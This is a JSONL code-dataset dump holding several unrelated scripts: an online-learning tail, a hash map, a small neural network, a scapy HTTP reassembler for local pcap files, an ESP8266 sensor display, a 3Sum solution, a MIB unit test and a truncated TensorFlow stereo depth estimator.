self.data_statistics[key_name]['delay']['time'][-1]\n self.configure[key_name]['timeUnit'] = __batch_size\n self.configure[key_name]['dataNumMax'] = self.data_statistics[key_name]['online']['dataNum']\n self.configure[key_name]['warningLevelMax'] = self.warning_level_max[key_name]\n self.configure[key_name]['warningLevel'] = [[0, 2], [2, 3], [3, 10000]]\n self.data_statistics[key_name]['delay']['hit'] = self.data_statistics[key_name]['delay']['hit'][:-1]\n\n self.save_file_1(self.configure, self.sub_file_path, type_name='configure')\n self.save_file_1(self.data_statistics, self.sub_file_path, type_name=None)\n\n # 提示所有数据训练完成,可结束主进程\n print('All data has been trained. Please finish the main process manually!')\n self.save_file(self.nb_drift_prob, folder_create.get_path(),\n type_name='experiment_with_the_figure')\n # Zip.plot_multi(self.nb_classifier_accuracy)\n Zip(folder_create.get_path())\n self.con.notifyAll()\n else:\n self.con.wait()\n\n # training\n learner.do_training(instance, drift_status)\n else:\n # training\n learner.do_training(instance, drift_status)\n\n\nif __name__ == \"__main__\":\n global_count = 0\n naive_bayes_batch_count = 0\n global_test_flag = False\n lock_con = threading.Condition()\n dol = DistributedOnlineLearning(lock_con)\n threads = []\n for ds in Dataset.DATASET:\n information = Dataset.get_spilt_inform(ds)\n f_c = Folder('E:/zju/result/{}'.format(ds))\n sub_data_set_list = Dataset.get_sub_dataset(ds)\n for sds_id, sds in enumerate(sub_data_set_list):\n t = threading.Thread(target=dol.sub_thread, args=(ds, sds, information, f_c, len(sub_data_set_list)))\n t.start()\n threads.append(t)\n for thread in threads:\n thread.join()","sub_path":"tornado/test_xu/other/DOL_multi_NB_4.0.py","file_name":"DOL_multi_NB_4.0.py","file_ext":"py","file_size_in_byte":30234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"471794291","text":"# 0.0) Import linked lists and node to be able to make use of linked lists:\r\nfrom linked_list import Node, LinkedList\r\n\r\n# 0.1) Import flower definitions:\r\nfrom blossom_lib import flower_definitions\r\n\r\nclass HashMap:\r\n def __init__(self, size):\r\n self.array_size = size\r\n self.array = [LinkedList() for i in range(size)]\r\n#Step1: This method produces a hashcode to be used in the hash map:\r\n \r\n def hash(self, key):\r\n return sum(key.encode())\r\n\r\n#Step2: This method compresses the hash code produced by .hash() so that it will fit into the range of the array.\r\n\r\n def compress(self, hash_code):\r\n return hash_code % self.array_size\r\n\r\n#Step3: Assign method\r\n \r\n def assign(self, key, value):\r\n array_index = self.compress(self.hash(key))\r\n payload = Node([key,value])\r\n list_at_array = self.array[array_index]\r\n for i in list_at_array:\r\n if i[0] == key:\r\n i[1] = value\r\n return\r\n list_at_array.insert(payload)\r\n \r\n \r\n\r\n#Step4: Retrieval method\r\n\r\n def retrieve(self, key):\r\n array_index = self.compress(self.hash(key))\r\n list_at_index = self.array[array_index]\r\n\r\n for i in list_at_index:\r\n if i[0] == key:\r\n return i[1]\r\n return None\r\nblossom = HashMap(len(flower_definitions))\r\nfor flower in flower_definitions:\r\n blossom.assign(flower[0], flower[1])\r\nprint(blossom.retrieve('daisy'))\r\n","sub_path":"blossom_hashmap.py","file_name":"blossom_hashmap.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"627014393","text":"import random\nimport math\nimport numpy as np\nfrom sklearn.model_selection import KFold\nfrom random import randint\n\ntrained = 0\ncorrectPredicted = 0\nerrorTolerance = 0.7\nlearnSpeed = 0.6\ntotalAccuracy = 0\n\ndef generateInitializeWeights():\n global neuron00weights\n global neuron01weights\n global neuron10weights\n global neuron20weights\n neuron00weights = np.random.rand(10,1)\n neuron01weights = np.random.rand(10,1)\n neuron10weights = np.random.rand(2,1)\n neuron20weights = np.random.rand(1,1)\n\ndef sigmoid(sum):\n return 1 / (1 + math.exp(-sum))\n\ndef inputLayer(dataSet):\n for i in range(0,len(dataSet),1):\n if dataSet[i][10] == '2':\n dataSet[i][10] = '0'\n else:\n dataSet[i][10] = '1'\n hiddenLayer0(dataSet[i])\n\ndef sumFunction(dataSetPiece, neuronWeights):\n withoutId = np.delete(dataSetPiece, 0)\n neuronSum = 0\n for i in range(0, len(withoutId),1):\n neuronSum = neuronSum + float(withoutId[i])*neuronWeights[i][0]\n return neuronSum \n\ndef hiddenLayer0(dataSetPiece):\n neuron00 = sumFunction(dataSetPiece, neuron00weights) #Calculate neuron00 Sum\n derivativeNeuron00 = sigmoid(neuron00) #Get derivative result for neuron00 Sum \n neuron01 = sumFunction(dataSetPiece, neuron01weights)\n derivativeNeuron01 = sigmoid(neuron01)\n hiddenLayer1(derivativeNeuron00, derivativeNeuron01, dataSetPiece[10]) #Send sums to second hidden layer\n\ndef hiddenLayer1(input0, input1, wantedOutput):\n neuron10 = input0*neuron10weights[0][0] + input1*neuron10weights[1][0] \n derivativeNeuron10 = sigmoid(neuron10)\n outputLayer(derivativeNeuron10, wantedOutput)\n\ndef outputLayer(input0, wantedOutput):\n neuron20 = input0*neuron20weights[0][0]\n derivativeNeuron20 = sigmoid(neuron20) \n calculateError(derivativeNeuron20, wantedOutput) #Our output is derivative result for neuron20\n\ndef calculateError(currentResult, correctResult):\n correctResult = float(correctResult)\n error = currentResult*(1-currentResult)*(correctResult-currentResult) #Calculate error \n if trained == 0: #If the neural network's step is training send weights to update\n updateWeights(currentResult, error, neuron00weights) \n updateWeights(currentResult, error, neuron01weights) \n updateWeights(currentResult, error, neuron10weights)\n updateWeights(currentResult, error, neuron20weights)\n else: #If the neural network's step is testing send output to comparison\n countPrediction(currentResult, correctResult)\n\ndef updateWeights(currentResult, error, weightArray):\n weightDelta = learnSpeed*error*currentResult\n for i in range(0,len(weightArray),1):\n weightArray[i][0] = weightArray[i][0] + weightDelta\n\ndef countPrediction(currentResult, correctResult):\n global correctPredicted\n if currentResult >= 1 - errorTolerance and correctResult == 1.0:\n correctPredicted += 1\n elif currentResult < 0 + errorTolerance and correctResult == 0.0:\n correctPredicted += 1\n \ndataFile = open('breastcancerdatas','r') #File read \nfor line in dataFile:\n datas = dataFile.read().splitlines() #Convert to list\ndataList = []\nfor i in range(0,len(datas),1):\n dataList.append(datas[i].split(',')) #Break everyline with comma\ndatArray = np.asarray(dataList) #Convert list to array for KFold \nkfold = KFold(5, True, 1) \nfor train, test in kfold.split(datArray):\n datas = dataFile.read().splitlines()\n traingroup = datArray[train]\n testgroup = datArray[test]\n generateInitializeWeights()\n print('\\tAĞ EĞİTİMİ BAŞLATILIYOR...')\n inputLayer(datArray[train])\n trained = 1\n print('\\t\\t__AĞ EĞİTİLDİ__')\n print('\\t\\t\\tTEST VERİLERİ GİRİLİYOR...')\n inputLayer(datArray[test])\n print('\\t\\t\\t\\t__TEST EDİLDİ__')\n accuracy = correctPredicted*100/len(datArray[test])\n print('\\tToplam test verisi: {} Doğru tahmin miktarı: {}'.format(len(datArray[test]), correctPredicted))\n print('\\t__UYGULANAN KFOLD MODELİ İÇİN AĞIN ACCURACY DEĞERİ: %{}__\\n'.format(accuracy))\n totalAccuracy += accuracy\n correctPredicted = 0\n trained = 0\n accuracy = 0\n\nprint('\\t--HATA TOLERANSI {} İÇİN AĞIN TOPLAM ACCURACY DEĞERİ: {}--'.format(errorTolerance,totalAccuracy/5))","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"252248231","text":"import re\r\nimport zlib\r\n\r\nfrom scapy.all import *\r\n\r\n\r\ndef get_http_headers(http_payload):\r\n\t\r\n\ttry:\r\n\t\t# split the headers off if it is HTTP traffic\r\n\t\theaders_raw = http_payload[:http_payload.index(\"\\r\\n\\r\\n\")+2]\r\n\t\r\n\t\t# break out the headers\r\n\t\theaders = dict(re.findall(r\"(?P.*?): (?P.*?)\\r\\n\", headers_raw))\r\n\texcept:\r\n\t\treturn None\r\n\t\r\n\tif \"Content-Type\" not in headers:\r\n\t\treturn None\r\n\t\r\n\treturn headers\r\n\r\ndef split_payload(http_payload,payload_list):\r\n\ti = 1\r\n\tf1 = f2 = f3 = 0\r\n\twhile (True):\r\n\t\ttry:\r\n\t\t\ti_http = http_payload.index(\"HTTP/1.1 \",i)\r\n\t\texcept:\r\n\t\t\tf1 = 1\r\n\t\t\ti_http = 100000000000\r\n\t\ttry:\r\n\t\t\ti_get = http_payload.index(\"GET /\",i)\r\n\t\texcept:\r\n\t\t\tf2 = 1\r\n\t\t\ti_get = 100000000000\r\n\t\ttry:\r\n\t\t\ti_post = http_payload.index(\"POST /\",i)\r\n\t\texcept:\r\n\t\t\tf3 = 1\r\n\t\t\ti_post = 100000000000\r\n\t\tif (f1 == f2 == f3 == 1):\r\n\t\t\tpayload = http_payload[i-1:]\r\n\t\t\tpayload_list.append(payload)\r\n\t\t\tbreak\r\n\t\tpayload = http_payload[i-1:min(i_http,i_get,i_post)]\r\n\t\tpayload_list.append(payload)\r\n\t\ti = min(i_http,i_get,i_post)+1\r\n\t\tf1 = f2 = f3 = 0\r\n\r\ndef extract_data(headers,http_payload):\r\n\t\r\n\tdata = None\r\n\tdata_type = None\r\n\tdata_category=None\r\n\ttry:\r\n\t\tif \"text\" in headers['Content-Type']:\r\n\t\t\t\r\n\t\t\t# grab the data type and data body\r\n\t\t\tdata_category=headers['Content-Type'].split(\"/\")[0]\r\n\t\t\tdata_type = headers['Content-Type'].split(\"/\")[1]\r\n\t\t\r\n\t\t\tdata = http_payload[http_payload.index(\"\\r\\n\\r\\n\")+4:]\r\n\t\t\tif ';' in data_type:\r\n data_coding=data_type.split(';')[1]\r\n data_type=data_type.split(';')[0]\r\n \r\n \r\n\t\t\r\n\t\t\t# if we detect compression decompress the data\r\n\t\t\ttry:\r\n\t\t\t\tif \"Content-Encoding\" in headers.keys():\r\n\t\t\t\t\tif headers['Content-Encoding'] == \"gzip\":\r\n\t\t\t\t\t\tdata = zlib.decompress(data,16+zlib.MAX_WBITS)\r\n\t\t\t\t\telif headers['Content-Encoding'] == \"deflate\":\r\n\t\t\t\t\t\tdata = zlib.decompress(data)\r\n\t\t\texcept:\r\n\t\t\t\tpass\t\r\n\texcept:\r\n\t\treturn None,None,None\r\n\t\r\n\treturn data,data_type,data_category\r\n\r\ndef http_assembler_text(pcap_file,f):\r\n\r\n\tcaptured_data = {}\r\n\tpayload_list = []\r\n\tdata_list = []\t\r\n\ttry:\r\n\t\ta = rdpcap(pcap_file)\r\n\texcept:\r\n\t\tprint(\"> File doesn't exist !!\")\r\n\t\treturn {}\r\n\r\n\tsessions = a.sessions()\t\r\n\r\n\tfor session in sessions:\r\n\r\n\t\thttp_payload = \"\"\r\n\t\t\r\n\t\tfor packet in sessions[session]:\r\n\t\r\n\t\t\ttry:\r\n\t\t\t\tif packet[TCP].dport == 80 or packet[TCP].sport == 80:\r\n\t\r\n\t\t\t\t\t# reassemble the stream into a single buffer\r\n\t\t\t\t\thttp_payload += str(packet[TCP].payload)\r\n\t\r\n\t\t\texcept:\r\n\t\t\t\tpass\r\n\r\n\t\tsplit_payload(http_payload,payload_list)\r\n\t\tfor payload in payload_list:\r\n\t\t\theaders = get_http_headers(payload)\r\n\t\t\r\n\t\t\tif headers is None:\r\n\t\t\t\tcontinue\r\n\t\r\n\t\t\tdata,data_type,data_category = extract_data(headers,payload)\r\n\t\t\r\n\t\t\tif data is not None and data_type is not None and data not in data_list:\t\t\t\t\r\n\t\t\t\r\n\t\t\t\t# store the data\r\n\t\t\t\tdata_list.append(data)\r\n\t\t\t\tif (data_type not in captured_data):\r\n\t\t\t\t\tcaptured_data[data_type] = 1;\t\t\t\r\n\t\t\t\telse:\r\n\t\t\t\t\tcaptured_data[data_type] += 1 \r\n\t\t\t\tfile_name = \"%s-%s%d.%s\" % (pcap_file.split(\".\")[0],data_type,captured_data[data_type],data_type)\r\n\t\t\t\tif not os.path.isdir(\"%s\" % pcap_file.split(\".\")[0]):\r\n \t os.mkdir(\"%s\" % pcap_file.split(\".\")[0])\r\n\t\t\t\tif not os.path.isdir(\"%s/%s\" % (pcap_file.split(\".\")[0],data_category)):\r\n \t os.mkdir(\"%s/%s\" % (pcap_file.split(\".\")[0],data_category))\r\n\t\t\t\tif not os.path.isdir(\"%s/%s/%s\" % (pcap_file.split(\".\")[0],data_category,data_type)):\r\n \t os.mkdir(\"%s/%s/%s\" % (pcap_file.split(\".\")[0],data_category,data_type))\r\n\t\t\t\tif (f == 0):\r\n\t\t\t\t\tfd = open(\"%s/%s/%s/%s\" % (pcap_file.split(\".\")[0],data_category,data_type,file_name),\"wb\")\r\n\t\t\t\t\tfd.write(data)\r\n\t\t\t\t\tfd.close()\r\n\t\t\t\t\r\n\t\t\t\t\t\t\r\n\treturn captured_data\r\n","sub_path":"text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"604839894","text":"'''\n\nGeekcreit® ESP8266 IoT Development Board + DHT11 Temperature and Humidity Sensor + Yellow Blue OLED Display\n - connect to Wifi\n - fetch the UTC date & time from an NTP server every 2 hours\n - update the ESP8266 RTC with the correct local time\n - measure temperature and humidity every 5 seconds\n - show temperature, humidity, date and time on the OLED display every second\n\n'''\n\n# modules\nfrom machine import Pin, I2C\nimport network\nimport secrets\nimport ntptime\nimport dht\nimport ssd1306\nimport uasyncio as asyncio\nimport utime\n\n# constants\nDHT11_GPIO = 5\nSCL_GPIO = 14\nSDA_GPIO = 2\nOLED_WIDTH = 128\nOLED_HEIGHT = 64\nOLED_ADDR = 0x3C\nDOW = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']\nDEBUG = True\n\n\n# global variables\nclass myGlobals:\n now = None\n temp = 0\n hum = 0\n \n\n# coroutine to update RTC with UTC time from ntp server\nasync def updateRTC():\n ntp_interval = 2 * 60 * 60 # seconds\n wlan = None\n # loop\n while True:\n try:\n # connect to Wifi\n wlan = network.WLAN(network.STA_IF)\n wlan.active(True)\n if not wlan.isconnected():\n retries = 0\n print('Trying to connect to wireless network...')\n wlan.connect(secrets.WIFI_SSID, secrets.WIFI_PW)\n while not wlan.isconnected():\n retries += 1\n await asyncio.sleep_ms(500)\n if retries < secrets.WIFI_RETRIES:\n pass\n else:\n break\n if wlan.isconnected():\n print('network config:', wlan.ifconfig())\n # set UTC time from ntpserver into RTC\n await asyncio.sleep_ms(2000)\n ntptime.settime()\n # disconnect Wifi\n wlan.disconnect()\n else:\n print('Could not connect to wireless network')\n # wait for next RTC update\n await asyncio.sleep(ntp_interval)\n \n except Exception as E:\n print('Wifi error: ', E)\n\n\n# coroutine to do DHT11 measurement\nasync def measureDHT():\n dht_interval = 5 # seconds\n # loop\n while True:\n # read DHT11 sensor\n sensor.measure()\n # save values in global vars\n myGlobals.temp = sensor.temperature()\n myGlobals.hum = sensor.humidity()\n # debug output\n if DEBUG:\n print('Temp: {:2d}C - Hum: {:2d}%'.format(myGlobals.temp, myGlobals.hum))\n # wait for next measurement\n await asyncio.sleep(dht_interval)\n \n\n# routine to correct localtime with Daylight Savings Time\n# Belgium Standard Time = GMT+1H - Daylight Savings Time = GMT+2H\n# Change dates/times :\n# GMT+1H : Last Sunday October 02:00\n# GMT+2H : Last Sunday March 03:00\ndef DSTtime():\n # current year\n year = utime.localtime()[0]\n # last Sunday March\n HHMarch = utime.mktime((year, 3, (31-(int(5*year/4+4))%7), 2, 0, 0, 0, 0))\n # last Sunday October\n HHOctober = utime.mktime((year, 10, (31-(int(5*year/4+1))%7), 3, 0, 0, 0, 0))\n # current time\n curtime = utime.time()\n # correct local time\n if curtime < HHMarch:\n # before last Sunday of March -> GMT+1H\n dst = utime.localtime(curtime + 3600)\n elif curtime < HHOctober:\n # before last Sunday of October -> GMT+2H\n dst = utime.localtime(curtime + 7200)\n else:\n # after last Sunday of October -> GMT+1H\n dst = utime.localtime(curtime + 3600)\n # save local time\n myGlobals.now = dst\n return dst\n\n\n# coroutine to refresh OLED display\nasync def refreshOLED():\n oled_interval = 1 # second\n # loop\n while True:\n # get corrected local time\n year, month, day, hour, minute, second, dayofweek, dayofyear = DSTtime()\n # format strings to be displayed\n line1 = 'Temp {:2d}C Hum {:2d}%'.format(myGlobals.temp, myGlobals.hum)\n line2 = DOW[dayofweek] + ' {:02d}/{:02d}/{:04d}'.format(day, month, year)\n line3 = ' {:02d}:{:02d}:{:02d}'.format(hour, minute, second)\n # show info on oled\n oled.fill(0)\n oled.text(line1, 0, 0)\n oled.text(line2, 0, 20)\n oled.text(line3, 0, 30)\n oled.show()\n # wait for next refresh\n await asyncio.sleep(oled_interval)\n\n\n# instantiate objects\nsensor = dht.DHT11(Pin(DHT11_GPIO))\ni2c = I2C(scl=Pin(SCL_GPIO), sda=Pin(SDA_GPIO))\noled = ssd1306.SSD1306_I2C(OLED_WIDTH, OLED_HEIGHT, i2c, addr = OLED_ADDR)\n \ntry:\n # init event loop scheduler\n loop = asyncio.get_event_loop()\n # put tasks on event loop queue\n loop.create_task(updateRTC())\n loop.create_task(measureDHT())\n loop.create_task(refreshOLED())\n # execute tasks\n loop.run_forever()\n \nexcept KeyboardInterrupt:\n print('Program halted')\n \nexcept Exception as E:\n print('asyncio error: ', E)\n \nfinally:\n loop.close()\n oled.poweroff()\n ","sub_path":"sourcecode/micropython/esp8266_dht11_oled.py","file_name":"esp8266_dht11_oled.py","file_ext":"py","file_size_in_byte":4943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"227339400","text":"# 15. 3Sum\n'''\nGiven an array nums of n integers, are there elements a, b, c in nums such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero.\n\nNote:\n\nThe solution set must not contain duplicate triplets.\n\nExample:\n\nGiven array nums = [-1, 0, 1, 2, -1, -4],\n\nA solution set is:\n[\n [-1, 0, 1],\n [-1, -1, 2]\n]\n'''\nclass Solution(object):\n def threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n ans = []\n if not nums:\n return ans\n nums.sort()\n \n \n for i in range(len(nums) - 2):\n j = len(nums) - 1\n if i == 0 or nums[i] != nums[i - 1]:\n \n k = i + 1\n record = []\n while k < j:\n n = nums[i] + nums[k] + nums[j]\n if n > 0:\n j -= 1\n elif n < 0:\n k += 1\n else:\n if nums[k] not in record:\n record.append(nums[k])\n ans.append([nums[i], nums[k], nums[j]])\n k += 1\n j -= 1\n return ans\n","sub_path":"Paypal/3sum15.py","file_name":"3sum15.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"492518077","text":"#!/usr/bin/env python3\n#******************************************************************************\n# (C) 2019, Stefan Korner, Austria *\n# *\n# The Space Python Library is free software; you can redistribute it and/or *\n# modify it under under the terms of the MIT License as published by the *\n# Massachusetts Institute of Technology. *\n# *\n# The Space Python Library is distributed in the hope that it will be useful, *\n# but WITHOUT ANY WARRANTY; without even the implied warranty of *\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the MIT License *\n# for more details. *\n#******************************************************************************\n# Unit Tests *\n#******************************************************************************\nimport SCOS.ENV, SCOS.MIB\n\n#############\n# functions #\n#############\n# -----------------------------------------------------------------------------\ndef test_MIB():\n \"\"\"load MIB tables\"\"\"\n mibDir = SCOS.ENV.s_environment.mibDir()\n expectedMibDir = \"../TESTENV/data/ASCII\"\n if mibDir != expectedMibDir:\n print(\"mibDir\", mibDir, \"does not match the expected one: \", expectedMibDir)\n return False\n pidMap, picMap, tpcfMap, pcfMap, plfMap, ccfMap, cpcMap, cdfMap = SCOS.MIB.readAllTables()\n if len(pidMap) == 0:\n print(\"pidMap does not contain entries\")\n return False\n if len(picMap) == 0:\n print(\"picMap does not contain entries\")\n return False\n if len(tpcfMap) == 0:\n print(\"tpcfMap does not contain entries\")\n return False\n if len(pcfMap) == 0:\n print(\"pcfMap does not contain entries\")\n return False\n if len(plfMap) == 0:\n print(\"plfMap does not contain entries\")\n return False\n if len(ccfMap) == 0:\n print(\"ccfMap does not contain entries\")\n return False\n if len(cpcMap) == 0:\n print(\"cpcMap does not contain entries\")\n return False\n if len(cdfMap) == 0:\n print(\"cdfMap does not contain entries\")\n return False\n return True\n\n########\n# main #\n########\nif __name__ == \"__main__\":\n print(\"***** test_MIB() start\")\n retVal = test_MIB()\n print(\"***** test_MIB() done:\", retVal)\n","sub_path":"UnitTest/testMIB.py","file_name":"testMIB.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"311087969","text":"import numpy as np\nimport os\nimport sys\nimport tarfile\nimport tensorflow as tf\nimport zipfile\nimport timeit\n\nfrom collections import defaultdict\nfrom io import StringIO\nfrom matplotlib import pyplot as plt\nfrom PIL import Image\n\nimport cv2\n\n# ## Object detection imports\n# Here are the imports from the object detection module.\n\n# In[3]\nfrom utils import label_map_util\n\nfrom utils import visualization_utils as vis_util\n\n\n# # Model preparation\n\n# ## Variables\n#\n# Any model exported using the `export_inference_graph.py` tool can be loaded here simply by changing `PATH_TO_CKPT` to point to a new .pb file.\n#\n\n\n# By default we use an \"SSD with Mobilenet\" model here. See the [detection model zoo](https://github.com/tensorflow/models/blob/master/object_detection/g3doc/detection_model_zoo.md) for a list of other models that can be run out-of-the-box with varying speeds and accuracies.\n\n# In[4]:\n# jd ** model for 90 default object\n# What model to download.\nMODEL_NAME = 'E:/TensorFl/models-master/object_detection/ssd_mobilenet_v1_coco_11_06_2017'\n\n# Path to frozen detection graph. This is the actual model that is used for the object detection.\nPATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'\n\n# List of the strings that is used to add correct label for each box.\nPATH_TO_LABELS = os.path.join('data', 'mscoco_label_map.pbtxt')\n\nNUM_CLASSES = 90\n'''\n # jd ** model for mac and cheese\n# What model to download.\nMODEL_NAME = 'mac_cheese_inference_graph'\n\n# Path to frozen detection graph. This is the actual model that is used for the object detection.\nPATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'\n\n# List of the strings that is used to add correct label for each box.\nPATH_TO_LABELS = os.path.join('training', 'object-detection.pbtxt')\n\nNUM_CLASSES = 1'''\n# running model directory and decoding using tar_file\ntar_file = tarfile.open(\"ssd_mobilenet_v1_coco_11_06_2017.tar.gz\")\n#print (tar_file)\nfor file in tar_file.getmembers():\n file_name = os.path.basename(file.name)\n if 'frozen_inference_graph.pb' in file_name:\n tar_file.extract(file, os.getcwd())\n\n\n# ## Load a (frozen) Tensorflow model into memory.\n\n# In[6]:\n\ndetection_graph = tf.Graph() #JD tf.Graph defines namespace for tf.Operation object it contains\nwith detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n\n# ## Loading label map\n# Label maps map indices to category names, so that when our convolution network predicts `5`, we know that this corresponds to `airplane`. Here we use internal utility functions, but anything that returns a dictionary mapping integers to appropriate string labels would be fine\n\n# In[7]:\n\nlabel_map = label_map_util.load_labelmap(PATH_TO_LABELS)\ncategories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\ncategory_index = label_map_util.create_category_index(categories)\n\n\n# ## Helper code\n\n# In[8]:\n\ndef load_image_into_numpy_array(image):\n (im_width, im_height) = image.size\n return np.array(image.getdata()).reshape(\n (im_height, im_width, 3)).astype(np.uint8)\n\n\n# # Detection\n\n# In[9]:\n\n# For the sake of simplicity we will use only 2 images:\n# image1.jpg\n# image2.jpg\n# If you want to test the code with your images, just add path to the images to the TEST_IMAGE_PATHS.\nPATH_TO_TEST_IMAGES_DIR = 'test_images'\nTEST_IMAGE_PATHS = [ os.path.join(PATH_TO_TEST_IMAGES_DIR, 'image{}.jpg'.format(i)) for i in range(1, 3) ]\n\n# Size, in inches, of the output images.\nIMAGE_SIZE = (12, 8)\n\n\n# In[10]:\ndef newfunction(image_np):\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n # Each box represents a part of the image where a particular object was detected.\n boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n # Each score represent how level of confidence for each of the objects.\n # Score is shown on the result image, together with the class label.\n scores = detection_graph.get_tensor_by_name('detection_scores:0')\n classes = detection_graph.get_tensor_by_name('detection_classes:0')\n num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n # Actual detection.\n (boxes, scores, classes, num_detections) = sess.run(\n [boxes, scores, classes, num_detections],\n feed_dict={image_tensor: image_np_expanded})\n # Visualization of the results of a detection.( returned value from function is class, scale, co-ordinates)\n # co- ordinate are in 0-1 so this thing needed rescaling by multiplying with resolution\n val = vis_util.visualize_boxes_and_labels_on_image_array(\n image_np,\n np.squeeze(boxes),\n np.squeeze(classes).astype(np.int32),\n np.squeeze(scores),\n category_index,\n use_normalized_coordinates=True,\n line_thickness=8)\n return val\n\n############################################################ (find ratio and return it)###################\ndef ratio_find(val1,val2,index1,index2):# val(class,scale,ymin,xmin,ymax,xmax) and cam_property(dist,FOV,width,height)\n ratio = int((abs (((val1[index1][5] - val1[index1][3])*(val1[index1][4] - val1[index1][2]))/((val2[index2][5] - val2[index2][3])*(val2[index2][4] - val2[index2][2]))))*100)\n return ratio\n############### find hist value ,match it ,check it,return flag############################\ndef hist_check(frame,val12,index,cam_property):\n cut = frame[int(val12[index][3] * cam_property[2]):int(val12[index][5] * cam_property[2]),int(val12[index][2] * cam_property[3]):int(val12[index][4] * cam_property[2])]\n cv2.imshow('cut'+str(index),cut)\n gray = cv2.cvtColor(cut,cv2.COLOR_BGR2GRAY)\n hist = cv2.calcHist([gray],[0],None,[256],[0,256])\n return hist\n\n###################### find centroid#######################\ndef centroid(val1,index1,cam_property):\n x_left = int(abs(((val1[index1][5] - val1[index1][3])/2 + val1[index1][3]) *cam_property[2]))# column 5 and 3 have Xmin and Xmax and cam_property [2] have width\n y_left = int(abs(((val1[index1][4] - val1[index1][2])/2 + val1[index1][2]) *cam_property[3]))\n centroid =[ x_left,y_left]\n return centroid\n\n''' sorting of classes and than subclasses ( if more than one object is found in same class than sorting them by histogram ) ,sorting by distance ,sorting by size '''\ndef classification(val1,val2,cam_property,frame_left,frame_right):\n lst_of_mat_row = [] # making list of matching objects\n row1 = 0\n row2 = 0\n number_of_match = 0\n flag = 0\n min_hist = 0.02 # min thresholding value for histogram value\n min_depth = 150 # after calculation (on 16 sept)\n max_depth = 500# min depth is set to 16 1/2 feet\n font = cv2.FONT_HERSHEY_SIMPLEX # font for writing depth and etc\n for i in val1:# iterating through first set of values camera 1\n row1 = row1 + 1# increamenting by one to keep track of row numbers\n \n # ************ detection and increment part ********************\n if i[0] != 0:# if first element is class i.e not 0\n for m in val2: # iterating through second set of values of camera 2\n row2 = row2 + 1\n if m[0] != 0:\n if i[0] == m[0]:# if both classes match\n number_of_match = number_of_match + 1# if more than one class are same\n lst_of_mat_row.append(row2 - 1)# appending row number in list of matching class\n #print (i[0])\n row2 = 0\n #*********** end of detection and increment part******************\n \n match_flag = 0\n if number_of_match >= 1:\n # differenciate by area\n ratio = []\n for i in lst_of_mat_row:\n val = ratio_find(val1,val2,row1-1,i)\n ratio.append(val)\n abs_rat_match_row = []# stores the row number list of absolute matching area of class\n for i in range(len(ratio)):\n #print (ratio[i])\n if ratio[i] > 50 and ratio[i] < 160:\n abs_rat_match_row.append(lst_of_mat_row[i])\n lst_of_mat_row [:] = []\n # depth thresholding\n abs_thres_depth_row = []\n x1,y1 = centroid(val1,row1-1,cam_property)\n for i in abs_rat_match_row:\n x2,y2 = centroid(val2,i,cam_property)\n if x1 != x2:\n depth = int(abs((cam_property[0] * cam_property[2])/(2*cam_property[1]*(x1 - x2))))\n #print ( x1,y1,x2,y2),\n #print (\"depth is %d\"%depth)\n if depth >min_depth and depth= cam_property[2]/2:# find in specific region (if centroid of object is in left side of frame_left than find centroid only in left side of frame_right)\n if x2 >= cam_property[2]/2:\n abs_thres_depth_row.append(i)\n else:\n print (\"failed region thresholding\"),\n else:\n abs_thres_depth_row.append(i)\n else:\n print (\" x1 == x2\")\n abs_rat_match_row[:] = []\n # histogram thresholding\n Ws = []# temporary list histogram compare\n hist_left = hist_check(frame_left,val1,row1-1,cam_property)\n for i in abs_thres_depth_row:\n hist_right = hist_check(frame_right,val2,i,cam_property)\n Ws.append(abs(cv2.compareHist(hist_left,hist_right,cv2.HISTCMP_CORREL)))\n for index,i in enumerate(Ws):\n min_hist1 = min_hist\n if i >min_hist1:\n min_hist1 = i\n temp_row2 = abs_thres_depth_row[index]\n match_flag = 1 # all set to display value\n \n if match_flag == 1:\n match_flag = 0\n x1,y1 = centroid(val1,row1-1,cam_property)\n x2,y2 = centroid(val2,temp_row2,cam_property)\n # ******* depth from camera*********\n \n depth = (cam_property[0] * cam_property[2])/(2*cam_property[1]*(x1 - x2))# depth of object from cameras\n display = \" D = \" + str(int(abs(depth))) + \"CM\"\n label_d = \"obj \" + str(row1-1)\n print (\"%s is %s cm away\"%(val1[row1 - 1][0],int(abs(depth))))\n cv2.rectangle(frame_left,(x1-15,y1-10),(x1+15,y1+10),(0,0,255),20)\n cv2.rectangle(frame_right,(x2-15,y2-10),(x2+15,y2+10),(0,0,255),20)\n cv2.putText(frame_left,label_d,(x1-20,y1), font, 0.5,(255,255,255),1,cv2.LINE_AA)#\n cv2.putText(frame_right,label_d,(x2-20,y2), 